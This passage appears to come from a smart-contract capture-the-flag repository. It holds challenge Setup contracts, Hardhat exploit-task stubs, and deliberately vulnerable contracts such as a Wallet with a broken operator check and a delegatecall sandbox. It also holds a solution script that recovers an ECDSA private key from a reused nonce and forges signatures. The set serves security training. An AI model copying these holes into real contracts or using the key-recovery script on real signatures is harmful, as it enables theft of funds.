FiatTokenV3(address(USDC)).initializeV3(); 28 | } 29 | 30 | function isSolved() external view returns (bool) { 31 | return USDC.balanceOf(address(this)) > 200_000_000e6; 32 | } 33 | } 34 | -------------------------------------------------------------------------------- /task/hello.ts: -------------------------------------------------------------------------------- 1 | import { Contract } from 'ethers' 2 | import { task } from 'hardhat/config' 3 | 4 | task('hello') 5 | .addOptionalPositionalParam('setupAddress') 6 | .setAction(async ({ setupAddress }, { run, ethers }) => { 7 | await run('compile') 8 | 9 | // get signer 10 | 11 | const signer = (await ethers.getSigners())[0] 12 | console.log('Signer', signer.address) 13 | 14 | // setup problem 15 | 16 | let setup: Contract 17 | if (setupAddress) { 18 | setup = await ethers.getContractAt( 19 | 'contracts/hello/Setup.sol:Setup', 20 | setupAddress, 21 | ) 22 | } else { 23 | setup = await ( 24 | await ethers.getContractFactory('contracts/hello/Setup.sol:Setup') 25 | ).deploy() 26 | } 27 | console.log('Setup') 28 | console.log(' at', setup.address) 29 | 30 | // init contracts 31 | 32 | const hello = await ethers.getContractAt('Hello', await setup.hello()) 33 | console.log('Hello') 34 | console.log(' at', hello.address) 35 | 36 | // perform exploit 37 | 38 | await hello.solve() 39 | 40 | // verify 41 | 42 | console.log('Success?', await setup.isSolved()) 43 | }) 44 | -------------------------------------------------------------------------------- /contracts/market/Setup.sol: -------------------------------------------------------------------------------- 1 | pragma solidity 0.7.0; 2 | 3 | import "./Market.sol"; 4 | 5 | contract Setup { 6 | EternalStorageAPI public eternalStorage; 7 | CryptoCollectibles public token; 8 | CryptoCollectiblesMarket public market; 9 | 10 | constructor() payable { 11 | require(msg.value == 50 ether); 12 | 13 | // deploy our contracts 14 | eternalStorage = EternalStorageAPI(address(new EternalStorage(address(this)))); 15 | token = new CryptoCollectibles(); 16 | 17 | eternalStorage.transferOwnership(address(token)); 18 | token.setEternalStorage(eternalStorage); 19 | 20 | market = new CryptoCollectiblesMarket(token, 1 ether, 1000); 21 | token.setMinter(address(market), true); 22 | 23 | // mint 4 founders tokens 24 | uint256 tokenCost = 5 ether; 25 | for (uint256 i = 0; i < 4; i++) { 26 | market.mintCollectibleFor{value: tokenCost}( 27 | address(bytes20(keccak256(abi.encodePacked(address(this), i)))) 28 | ); 29 | tokenCost += 5 ether; 30 | } 31 | } 32 | 33 | function isSolved() external view returns (bool) { 34 | return address(market).balance == 0; 35 | } 36 | } 37 | -------------------------------------------------------------------------------- /problems/market/public/contracts/Setup.sol: -------------------------------------------------------------------------------- 1 | pragma solidity 0.7.0; 2 | 3 | import "./Market.sol"; 4 | 5 | contract Setup { 6 | EternalStorageAPI public eternalStorage; 7 | CryptoCollectibles public token; 8 | CryptoCollectiblesMarket public market; 9 | 10 | constructor() payable { 11 | require(msg.value == 50 ether); 12 | 13 | // deploy our contracts 14 | eternalStorage = EternalStorageAPI(address(new EternalStorage(address(this)))); 15 | token = new CryptoCollectibles(); 16 | 17 | eternalStorage.transferOwnership(address(token)); 18 | token.setEternalStorage(eternalStorage); 19 | 20 | market = new CryptoCollectiblesMarket(token, 1 ether, 1000); 21 | token.setMinter(address(market), true); 22 | 23 | // mint 4 founders tokens 24 | uint tokenCost = 5 ether; 25 | for (uint i = 0; i < 4; i++) { 26 | market.mintCollectibleFor{value: tokenCost}(address(bytes20(keccak256(abi.encodePacked(address(this), i))))); 27 | tokenCost += 5 ether; 28 | } 29 | } 30 | 31 | function isSolved() external view returns (bool) { 32 | return address(market).balance == 0; 33 | } 34 | } 35 | -------------------------------------------------------------------------------- /package.json: -------------------------------------------------------------------------------- 1 | { 2 | "name": "yield", 3 | "version": "1.0.0", 4 | "scripts": { 5 | "compile": "yarn hardhat compile", 6 | "test": "yarn hardhat test", 7 | "profile": "REPORT_GAS=true yarn hardhat test", 8 | "coverage": "yarn hardhat coverage", 9 | "format": "yarn prettier --config .prettierrc --write '**/*.ts' 'contracts/**/*.sol'", 10 | "lint": "yarn solhint 'contracts/**/*.sol'", 11 | "build": "yarn tsc --project tsconfig.build.json" 12 | }, 13 | "license": "MIT", 14 | "devDependencies": { 15 | "@nomiclabs/hardhat-ethers": "^2.0.1", 16 | "@nomiclabs/hardhat-etherscan": "^2.1.1", 17 | "@nomiclabs/hardhat-waffle": "^2.0.1", 18 | "@openzeppelin/contracts": "^3.4.0-solc-0.7", 19 | "@types/chai": "^4.2.14", 20 | "@types/mocha": "^8.2.0", 21 | "@types/node": "^14.14.25", 22 | "@uniswap/v2-core": "^1.0.1", 23 | "@uniswap/v2-periphery": "^1.1.0-beta.0", 24 | "chai": "^4.3.0", 25 | "ethereum-waffle": "^3.2.2", 26 | "ethers": "^5.0.28", 27 | "hardhat": "^2.0.8", 28 | "hardhat-gas-reporter": "^1.0.4", 29 | "prettier": "^2.2.1", 30 | "prettier-plugin-solidity": "^1.0.0-beta.3", 31 | "solhint": "^3.3.2", 32 | "solhint-plugin-prettier": "^0.0.5", 33 | "solidity-coverage": "^0.7.14", 34 | "ts-node": "^9.1.1", 35 | "typescript": "^4.1.3" 36 | } 37 | } 38 | -------------------------------------------------------------------------------- /hardhat.config.ts: -------------------------------------------------------------------------------- 1 | import '@nomiclabs/hardhat-ethers' 2 | import '@nomiclabs/hardhat-etherscan' 3 | import '@nomiclabs/hardhat-waffle' 4 | import 'hardhat-gas-reporter' 5 | import 'solidity-coverage' 6 | 7 | import { HardhatUserConfig } from 'hardhat/types' 8 | 9 | import './task/hello' 10 | import './task/market' 11 | import './task/broker' 12 | import './task/yield' 13 | import './task/farmer' 14 | import './task/upgrade' 15 | import './task/bouncer' 16 | import './task/lockbox' 17 | 18 | export default { 19 | networks: { 20 | hardhat: { 21 | allowUnlimitedContractSize: true, 22 | forking: { 23 | url: process.env.ETHEREUM_ARCHIVE_URL, 24 | }, 25 | }, 26 | paradigm: { 27 | url: process.env.PARADIGM_RPC, 28 | accounts: [process.env.PARADIGM_PRIVATE_KEY], 29 | }, 30 | }, 31 | solidity: { 32 | compilers: [ 33 | { 34 | version: '0.8.0', 35 | }, 36 | { 37 | version: '0.7.6', 38 | }, 39 | { 40 | version: '0.7.0', 41 | }, 42 | { 43 | version: '0.6.12', 44 | }, 45 | { 46 | version: '0.5.12', 47 | }, 48 | { 49 | version: '0.4.24', 50 | }, 51 | { 52 | version: '0.4.16', 53 | }, 54 | ], 55 | }, 56 | etherscan: { 57 | apiKey: process.env.ETHERSCAN_APIKEY, 58 | }, 59 | gasReporter: { 60 | currency: 'ETH', 61 | enabled: process.env.REPORT_GAS ? true : false, 62 | }, 63 | } as HardhatUserConfig 64 | -------------------------------------------------------------------------------- /contracts/upgrade/EIP712Domain.sol: -------------------------------------------------------------------------------- 1 | // File: contracts/v2/EIP712Domain.sol 2 | 3 | /** 4 | * License: MIT 5 | * 6 | * Copyright (c) 2018-2020 CENTRE SECZ 7 | * 8 | * Permission is hereby granted, free of charge, to any person obtaining a copy 9 | * of this software and associated documentation files (the "Software"), to deal 10 | * in the Software without restriction, including without limitation the rights 11 | * to use, copy, modify, merge, publish, distribute, sublicense, and/or sell 12 | * copies of the Software, and to permit persons to whom the Software is 13 | * furnished to do so, subject to the following conditions: 14 | * 15 | * The above copyright notice and this permission notice shall be included in 16 | * copies or substantial portions of the Software. 17 | * 18 | * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR 19 | * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, 20 | * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE 21 | * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER 22 | * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, 23 | * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE 24 | * SOFTWARE. 25 | */ 26 | 27 | pragma solidity 0.6.12; 28 | 29 | /** 30 | * @title EIP712 Domain 31 | */ 32 | contract EIP712Domain { 33 | /** 34 | * @dev EIP712 Domain Separator 35 | */ 36 | bytes32 public DOMAIN_SEPARATOR; 37 | } 38 | -------------------------------------------------------------------------------- /contracts/upgrade/FiatTokenV1_1.sol: -------------------------------------------------------------------------------- 1 | // File: contracts/v1.1/FiatTokenV1_1.sol 2 | 3 | /** 4 | * License: MIT 5 | * 6 | * Copyright (c) 2018-2020 CENTRE SECZ 7 | * 8 | * Permission is hereby granted, free of charge, to any person obtaining a copy 9 | * of this software and associated documentation files (the "Software"), to deal 10 | * in the Software without restriction, including without limitation the rights 11 | * to use, copy, modify, merge, publish, distribute, sublicense, and/or sell 12 | * copies of the Software, and to permit persons to whom the Software is 13 | * furnished to do so, subject to the following conditions: 14 | * 15 | * The above copyright notice and this permission notice shall be included in 16 | * copies or substantial portions of the Software. 17 | * 18 | * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR 19 | * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, 20 | * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE 21 | * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER 22 | * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, 23 | * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE 24 | * SOFTWARE. 25 | */ 26 | 27 | pragma solidity 0.6.12; 28 | 29 | import "./FiatTokenV1.sol"; 30 | import "./Rescuable.sol"; 31 | 32 | /** 33 | * @title FiatTokenV1_1 34 | * @dev ERC20 Token backed by fiat reserves 35 | */ 36 | contract FiatTokenV1_1 is FiatTokenV1, Rescuable { 37 | 38 | } 39 | -------------------------------------------------------------------------------- /problems/rever/public/deploy/chal.py: -------------------------------------------------------------------------------- 1 | import eth_sandbox 2 | from web3 import Web3 3 | from eth_abi import encode_single 4 | import random 5 | import string 6 | 7 | def random_string(N: int) -> str: 8 | return ''.join(random.choice(string.ascii_uppercase + string.digits) for _ in range(N)) 9 | 10 | def checker(addr: str, web3: Web3) -> bool: 11 | testcases = { 12 | "": True, 13 | "a": True, 14 | "ab": False, 15 | "aba": True, 16 | "paradigm": False, 17 | "tattarrattat": True, 18 | } 19 | 20 | for i in range(10): 21 | if i % 2 == 0: 22 | if random.random() > 0.5: 23 | str = random_string(63) 24 | testcases[str + random_string(1) + ''.join(reversed(list(str)))] = True 25 | else: 26 | str = random_string(64) 27 | testcases[str + ''.join(reversed(list(str)))] = True 28 | else: 29 | testcases[random_string(128)] = False 30 | 31 | for k, v in testcases.items(): 32 | data = web3.sha3(text="test(string)")[:4] + encode_single('uint256', 32) + encode_single('string', k) 33 | result = web3.eth.call( 34 | { 35 | "to": addr, 36 | "data": data, 37 | } 38 | ) 39 | if int(result.hex(), 16) != v: 40 | return False 41 | 42 | return True 43 | 44 | eth_sandbox.run_launcher([ 45 | eth_sandbox.new_launch_instance_action(deploy_value=Web3.toWei(0, 'ether')), 46 | eth_sandbox.new_get_flag_action(checker) 47 | ]) 48 | -------------------------------------------------------------------------------- /contracts/upgrade/AbstractFiatTokenV1.sol: -------------------------------------------------------------------------------- 1 | // File: contracts/v1/AbstractFiatTokenV1.sol 2 | 3 | /** 4 | * License: MIT 5 | * 6 | * Copyright (c) 2018-2020 CENTRE SECZ 7 | * 8 | * Permission is hereby granted, free of charge, to any person obtaining a copy 9 | * of this software and associated documentation files (the "Software"), to deal 10 | * in the Software without restriction, including without limitation the rights 11 | * to use, copy, modify, merge, publish, distribute, sublicense, and/or sell 12 | * copies of the Software, and to permit persons to whom the Software is 13 | * furnished to do so, subject to the following conditions: 14 | * 15 | * The above copyright notice and this permission notice shall be included in 16 | * copies or substantial portions of the Software. 17 | * 18 | * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR 19 | * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, 20 | * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE 21 | * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER 22 | * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, 23 | * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE 24 | * SOFTWARE. 25 | */ 26 | 27 | pragma solidity 0.6.12; 28 | 29 | import "./IERC20.sol"; 30 | 31 | abstract contract AbstractFiatTokenV1 is IERC20 { 32 | function _approve( 33 | address owner, 34 | address spender, 35 | uint256 value 36 | ) internal virtual; 37 | 38 | function _transfer( 39 | address from, 40 | address to, 41 | uint256 value 42 | ) internal virtual; 43 | } 44 | -------------------------------------------------------------------------------- /problems/babycrypto/solution/main.py: -------------------------------------------------------------------------------- 1 | import libnum 2 | import ecdsa 3 | import sha3 4 | import binascii 5 | 6 | G = ecdsa.SECP256k1.generator 7 | order = G.order() 8 | 9 | 10 | def gen_keypair(d): 11 | """ 12 | generate a new ecdsa keypair 13 | """ 14 | g = ecdsa.ecdsa.generator_secp256k1 15 | pub = ecdsa.ecdsa.Public_key(g, g * d) 16 | priv = ecdsa.ecdsa.Private_key(pub, d) 17 | return priv, pub 18 | 19 | 20 | def hash_message(msg: str) -> int: 21 | """ 22 | hash the message using keccak256, truncate if necessary 23 | """ 24 | k = sha3.keccak_256() 25 | k.update(msg.encode("utf8")) 26 | d = k.digest() 27 | n = int(binascii.hexlify(d), 16) 28 | olen = ecdsa.ecdsa.generator_secp256k1.order().bit_length() or 1 29 | dlen = len(d) 30 | n >>= max(0, dlen - olen) 31 | return n 32 | 33 | 34 | def decodehex(num): 35 | return int(num, 16) 36 | 37 | 38 | def findk(m1, m2, s1, s2): 39 | return (((m1 - m2) % order) * libnum.invmod( 40 | (decodehex(s1) - decodehex(s2)), order)) % order 41 | 42 | 43 | def main(): 44 | message1 = hash_message('1') 45 | message2 = hash_message('2') 46 | s1 = input('s1=? ') 47 | r1 = input('r1=? ') 48 | s2 = input('s2=? ') 49 | k = findk(message1, message2, s1, s2) 50 | print(k) 51 | r_inv = libnum.invmod(decodehex(r1), order) 52 | priv_int = (r_inv * (decodehex(s1) * k - message1)) % order 53 | 54 | print(priv_int) 55 | priv, _ = gen_keypair(priv_int) 56 | 57 | hashed = int(input('test=? '), 16) 58 | print(hex(hashed)) 59 | sig = priv.sign(hashed, k) 60 | print(f"r=0x{sig.r:032x}") 61 | print(f"s=0x{sig.s:032x}") 62 | 63 | 64 | if __name__ == "__main__": 65 | main() 66 | -------------------------------------------------------------------------------- /problems/vault/public/contracts/SingleOwnerGuard.sol: -------------------------------------------------------------------------------- 1 | pragma solidity 0.4.16; 2 | 3 | import "./Guard.sol"; 4 | import "./Vault.sol"; 5 | 6 | contract SingleOwnerGuard is Guard { 7 | bytes32 public constant id = "single-owner"; 8 | 9 | bool private initialized; 10 | Vault private vault; 11 | 12 | string[] public publicOps; 13 | 14 | // initialize the proxy instance for the given vault 15 | function initialize(Vault vault_) external { 16 | require(!initialized); 17 | 18 | vault = vault_; 19 | initialized = true; 20 | } 21 | 22 | // clean up the proxy instance. must be the vault owner 23 | function cleanup() external { 24 | require(msg.sender == address(vault)); 25 | require(vault.guard() == this); 26 | 27 | selfdestruct(owner()); 28 | } 29 | 30 | // check if the sender is the owner, or if the op is public 31 | function isAllowed(address who, string op) external view returns (uint8, uint8) { 32 | if (who == owner()) return (NO_ERROR, 1); 33 | 34 | for (uint i = 0; i < publicOps.length; i++) { 35 | if (keccak256(publicOps[i]) == keccak256(op)) { 36 | return (NO_ERROR, 2); 37 | } 38 | } 39 | 40 | return (PERMISSION_DENIED, 1); 41 | } 42 | 43 | // add a new public op. must be owner 44 | function addPublicOperation(string op) external { 45 | require(msg.sender == owner()); 46 | 47 | publicOps.push(op); 48 | } 49 | 50 | // get the owner of the guard (who is also the owner of the vault) 51 | function owner() public view returns (address) { 52 | return vault.owner(); 53 | } 54 | } -------------------------------------------------------------------------------- /contracts/upgrade/AbstractFiatTokenV2.sol: -------------------------------------------------------------------------------- 1 | // File: contracts/v2/AbstractFiatTokenV2.sol 2 | 3 | /** 4 | * License: MIT 5 | * 6 | * Copyright (c) 2018-2020 CENTRE SECZ 7 | * 8 | * Permission is hereby granted, free of charge, to any person obtaining a copy 9 | * of this software and associated documentation files (the "Software"), to deal 10 | * in the Software without restriction, including without limitation the rights 11 | * to use, copy, modify, merge, publish, distribute, sublicense, and/or sell 12 | * copies of the Software, and to permit persons to whom the Software is 13 | * furnished to do so, subject to the following conditions: 14 | * 15 | * The above copyright notice and this permission notice shall be included in 16 | * copies or substantial portions of the Software. 17 | * 18 | * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR 19 | * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, 20 | * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE 21 | * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER 22 | * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, 23 | * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE 24 | * SOFTWARE. 25 | */ 26 | 27 | pragma solidity 0.6.12; 28 | 29 | import "./AbstractFiatTokenV1.sol"; 30 | 31 | abstract contract AbstractFiatTokenV2 is AbstractFiatTokenV1 { 32 | function _increaseAllowance( 33 | address owner, 34 | address spender, 35 | uint256 increment 36 | ) internal virtual; 37 | 38 | function _decreaseAllowance( 39 | address owner, 40 | address spender, 41 | uint256 decrement 42 | ) internal virtual; 43 | } 44 | -------------------------------------------------------------------------------- /contracts/farmer/Setup.sol: -------------------------------------------------------------------------------- 1 | pragma solidity ^0.8.0; 2 | 3 | import "./Farmer.sol"; 4 | 5 | contract Setup { 6 | uint256 expectedBalance; 7 | 8 | CompDaiFarmer public farmer; 9 | CompFaucet public faucet; 10 | ERC20Like public constant COMP = ERC20Like(0xc00e94Cb662C3520282E6f5717214004A7f26888); 11 | ERC20Like public constant DAI = ERC20Like(0x6B175474E89094C44Da98b954EedeAC495271d0F); 12 | CERC20Like public constant CDAI = CERC20Like(0x5d3a536E4D6DbD6114cc1Ead35777bAB948E3643); 13 | UniRouter public constant ROUTER = UniRouter(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D); 14 | WETH9 public constant WETH = WETH9(0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2); 15 | 16 | constructor() payable { 17 | WETH.deposit{value: msg.value}(); 18 | WETH.approve(address(ROUTER), type(uint256).max); 19 | 20 | // deploy the farmer 21 | farmer = new CompDaiFarmer(); 22 | 23 | // deploy the faucet 24 | faucet = new CompFaucet(address(farmer)); 25 | farmer.setComp(address(faucet)); 26 | 27 | // fund the faucet 28 | address[] memory path = new address[](2); 29 | path[0] = address(WETH); 30 | path[1] = address(COMP); 31 | ROUTER.swapExactTokensForTokens(50 ether, 0, path, address(this), block.timestamp + 1800); 32 | uint256 compBalance = COMP.balanceOf(address(this)); 33 | COMP.transfer(address(faucet), compBalance); 34 | expectedBalance = DAI.balanceOf(address(farmer)) + farmer.peekYield(); 35 | } 36 | 37 | function isSolved() public view returns (bool) { 38 | return 39 | COMP.balanceOf(address(faucet)) == 0 && 40 | COMP.balanceOf(address(farmer)) == 0 && 41 | DAI.balanceOf(address(farmer)) < expectedBalance; 42 | } 43 | } 44 | -------------------------------------------------------------------------------- /problems/swap/public/contracts/Setup.sol: -------------------------------------------------------------------------------- 1 | pragma solidity 0.4.24; 2 | 3 | import "public/Swap.sol"; 4 | 5 | contract UniswapV2RouterLike { 6 | function swapExactETHForTokens(uint amountOutMin, address[] memory path, address to, uint deadline) 7 | public 8 | payable 9 | returns (uint[] memory amounts); 10 | } 11 | 12 | contract Setup { 13 | StableSwap public swap; 14 | uint public value; 15 | 16 | constructor() public payable { 17 | swap = new StableSwap(); 18 | 19 | UniswapV2RouterLike router = UniswapV2RouterLike(0xf164fC0Ec4E93095b804a4795bBe1e041497b92a); 20 | 21 | ERC20Like[4] memory tokens = [ 22 | ERC20Like(0x6B175474E89094C44Da98b954EedeAC495271d0F), 23 | ERC20Like(0x0000000000085d4780B73119b644AE5ecd22b376), 24 | ERC20Like(0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48), 25 | ERC20Like(0xdAC17F958D2ee523a2206206994597C13D831ec7) 26 | ]; 27 | 28 | uint[] memory amounts = new uint[](4); 29 | 30 | for (uint i = 0; i < 4; i++) { 31 | swap.addCollateral(tokens[i]); 32 | 33 | address[] memory path = new address[](2); 34 | path[0] = 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2; 35 | path[1] = address(tokens[i]); 36 | 37 | router.swapExactETHForTokens.value(100 ether)(0, path, address(this), uint(-1)); 38 | 39 | tokens[i].approve(address(swap), uint(-1)); 40 | amounts[i] = tokens[i].balanceOf(address(this)); 41 | } 42 | 43 | swap.mint(amounts); 44 | 45 | value = swap.totalValue(); 46 | } 47 | 48 | function isSolved() public view returns (bool) { 49 | return swap.totalValue() < value / 100; 50 | } 51 | } -------------------------------------------------------------------------------- /task/upgrade.ts: -------------------------------------------------------------------------------- 1 | import { Contract } from 'ethers' 2 | import { formatEther, formatUnits, parseUnits } from 'ethers/lib/utils' 3 | import { task } from 'hardhat/config' 4 | 5 | task('upgrade') 6 | .addOptionalPositionalParam('setupAddress') 7 | .setAction(async ({ setupAddress }, { run, ethers, network }) => { 8 | await run('compile') 9 | 10 | // get signer 11 | 12 | const signer = (await ethers.getSigners())[0] 13 | console.log('Signer', signer.address) 14 | 15 | // setup problem 16 | 17 | let setup: Contract 18 | if (setupAddress) { 19 | setup = await ethers.getContractAt( 20 | 'contracts/upgrade/Setup.sol:Setup', 21 | setupAddress, 22 | ) 23 | } else { 24 | setup = await ( 25 | await ethers.getContractFactory('contracts/upgrade/Setup.sol:Setup') 26 | ).deploy() 27 | } 28 | console.log('Setup') 29 | console.log(' at', setup.address) 30 | 31 | // init contracts 32 | 33 | const v2 = await ethers.getContractAt( 34 | 'FiatTokenV2', 35 | '0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48', 36 | ) 37 | console.log('FiatTokenV2') 38 | console.log(' at', v2.address) 39 | 40 | const v3 = await ethers.getContractAt( 41 | 'FiatTokenV3', 42 | '0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48', 43 | ) 44 | console.log('FiatTokenV3') 45 | console.log(' at', v3.address) 46 | 47 | // perform exploit 48 | 49 | const logBalances = async () => { 50 | console.log() 51 | console.log('USDC') 52 | console.log( 53 | ' setup', 54 | formatUnits(await v3.balanceOf(setup.address), '6'), 55 | ) 56 | console.log(' supply', formatUnits(await v3.totalSupply(), '6')) 57 | } 58 | 59 | await logBalances() 60 | 61 | // verify 62 | 63 | console.log('Success?', await setup.isSolved()) 64 | }) 65 | -------------------------------------------------------------------------------- /contracts/secure/Wallet.sol: -------------------------------------------------------------------------------- 1 | pragma solidity 0.5.12; 2 | 3 | contract ERC20Like { 4 | function transfer(address dst, uint qty) public returns (bool); 5 | function transferFrom(address src, address dst, uint qty) public returns (bool); 6 | function approve(address dst, uint qty) public returns (bool); 7 | 8 | function balanceOf(address who) public view returns (uint); 9 | } 10 | 11 | contract TokenModule { 12 | function deposit(ERC20Like token, address from, uint amount) public { 13 | token.transferFrom(from, address(this), amount); 14 | } 15 | 16 | function withdraw(ERC20Like token, address to, uint amount) public { 17 | token.transfer(to, amount); 18 | } 19 | } 20 | 21 | contract Wallet { 22 | address public owner = msg.sender; 23 | 24 | mapping(address => bool) _allowed; 25 | mapping(address => bool) _operators; 26 | 27 | modifier onlyOwner { 28 | require(msg.sender == owner); 29 | _; 30 | } 31 | 32 | modifier onlyOwnerOrOperators { 33 | require(msg.sender == owner || _operators[msg.sender]); 34 | _; 35 | } 36 | 37 | function allowModule(address module) public onlyOwner { 38 | _allowed[module] = true; 39 | } 40 | 41 | function disallowModule(address module) public onlyOwner { 42 | _allowed[module] = false; 43 | } 44 | 45 | function addOperator(address operator) public onlyOwner { 46 | _operators[owner] = true; 47 | } 48 | 49 | function removeOperator(address operator) public onlyOwner { 50 | _operators[owner] = false; 51 | } 52 | 53 | function execModule(address module, bytes memory data) public onlyOwnerOrOperators { 54 | require(_allowed[module], "execModule/not-allowed"); 55 | (bool ok, bytes memory res) = module.delegatecall(data); 56 | require(ok, string(res)); 57 | } 58 | } -------------------------------------------------------------------------------- /problems/secure/public/contracts/Wallet.sol: -------------------------------------------------------------------------------- 1 | pragma solidity 0.5.12; 2 | 3 | contract ERC20Like { 4 | function transfer(address dst, uint qty) public returns (bool); 5 | function transferFrom(address src, address dst, uint qty) public returns (bool); 6 | function approve(address dst, uint qty) public returns (bool); 7 | 8 | function balanceOf(address who) public view returns (uint); 9 | } 10 | 11 | contract TokenModule { 12 | function deposit(ERC20Like token, address from, uint amount) public { 13 | token.transferFrom(from, address(this), amount); 14 | } 15 | 16 | function withdraw(ERC20Like token, address to, uint amount) public { 17 | token.transfer(to, amount); 18 | } 19 | } 20 | 21 | contract Wallet { 22 | address public owner = msg.sender; 23 | 24 | mapping(address => bool) _allowed; 25 | mapping(address => bool) _operators; 26 | 27 | modifier onlyOwner { 28 | require(msg.sender == owner); 29 | _; 30 | } 31 | 32 | modifier onlyOwnerOrOperators { 33 | require(msg.sender == owner || _operators[msg.sender]); 34 | _; 35 | } 36 | 37 | function allowModule(address module) public onlyOwner { 38 | _allowed[module] = true; 39 | } 40 | 41 | function disallowModule(address module) public onlyOwner { 42 | _allowed[module] = false; 43 | } 44 | 45 | function addOperator(address operator) public onlyOwner { 46 | _operators[owner] = true; 47 | } 48 | 49 | function removeOperator(address operator) public onlyOwner { 50 | _operators[owner] = false; 51 | } 52 | 53 | function execModule(address module, bytes memory data) public onlyOwnerOrOperators { 54 | require(_allowed[module], "execModule/not-allowed"); 55 | (bool ok, bytes memory res) = module.delegatecall(data); 56 | require(ok, string(res)); 57 | } 58 | } -------------------------------------------------------------------------------- /problems/farmer/public/contracts/Setup.sol: -------------------------------------------------------------------------------- 1 | pragma solidity ^0.8.0; 2 | 3 | import "public/Farmer.sol"; 4 | 5 | contract Setup { 6 | uint256 expectedBalance; 7 | 8 | CompDaiFarmer public farmer; 9 | CompFaucet public faucet; 10 | ERC20Like public constant COMP = ERC20Like(0xc00e94Cb662C3520282E6f5717214004A7f26888); 11 | ERC20Like public constant DAI = ERC20Like(0x6B175474E89094C44Da98b954EedeAC495271d0F); 12 | CERC20Like public constant CDAI = CERC20Like(0x5d3a536E4D6DbD6114cc1Ead35777bAB948E3643); 13 | UniRouter public constant ROUTER = UniRouter(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D); 14 | WETH9 public constant WETH = WETH9(0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2); 15 | 16 | constructor() payable { 17 | WETH.deposit{value: msg.value}(); 18 | WETH.approve(address(ROUTER), type(uint256).max); 19 | 20 | // deploy the farmer 21 | farmer = new CompDaiFarmer(); 22 | 23 | // deploy the faucet 24 | faucet = new CompFaucet(address(farmer)); 25 | farmer.setComp(address(faucet)); 26 | 27 | // fund the faucet 28 | address[] memory path = new address[](2); 29 | path[0] = address(WETH); 30 | path[1] = address(COMP); 31 | ROUTER.swapExactTokensForTokens( 32 | 50 ether, 33 | 0, 34 | path, 35 | address(this), 36 | block.timestamp + 1800 37 | ); 38 | uint256 compBalance = COMP.balanceOf(address(this)); 39 | COMP.transfer(address(faucet), compBalance); 40 | expectedBalance = DAI.balanceOf(address(farmer)) + farmer.peekYield(); 41 | } 42 | 43 | function isSolved() public view returns (bool) { 44 | return COMP.balanceOf(address(faucet)) == 0 && 45 | COMP.balanceOf(address(farmer)) == 0 && 46 | DAI.balanceOf(address(farmer)) < expectedBalance; 47 | } 48 | } 49 | -------------------------------------------------------------------------------- /contracts/babysandbox/BabySandbox.sol: -------------------------------------------------------------------------------- 1 | pragma solidity 0.7.0; 2 | 3 | contract BabySandbox { 4 | function run(address code) external payable { 5 | assembly { 6 | // if we're calling ourselves, perform the privileged delegatecall 7 | if eq(caller(), address()) { 8 | switch delegatecall(gas(), code, 0x00, 0x00, 0x00, 0x00) 9 | case 0 { 10 | returndatacopy(0x00, 0x00, returndatasize()) 11 | revert(0x00, returndatasize()) 12 | } 13 | case 1 { 14 | returndatacopy(0x00, 0x00, returndatasize()) 15 | return(0x00, returndatasize()) 16 | } 17 | } 18 | 19 | // ensure enough gas 20 | if lt(gas(), 0xf000) { 21 | revert(0x00, 0x00) 22 | } 23 | 24 | // load calldata 25 | calldatacopy(0x00, 0x00, calldatasize()) 26 | 27 | // run using staticcall 28 | // if this fails, then the code is malicious because it tried to change state 29 | if iszero(staticcall(0x4000, address(), 0, calldatasize(), 0, 0)) { 30 | revert(0x00, 0x00) 31 | } 32 | 33 | // if we got here, the code wasn't malicious 34 | // run without staticcall since it's safe 35 | switch call(0x4000, address(), 0, 0, calldatasize(), 0, 0) 36 | case 0 { 37 | returndatacopy(0x00, 0x00, returndatasize()) 38 | // revert(0x00, returndatasize()) 39 | } 40 | case 1 { 41 | returndatacopy(0x00, 0x00, returndatasize()) 42 | return(0x00, returndatasize()) 43 | } 44 | } 45 | } 46 | } 47 | -------------------------------------------------------------------------------- 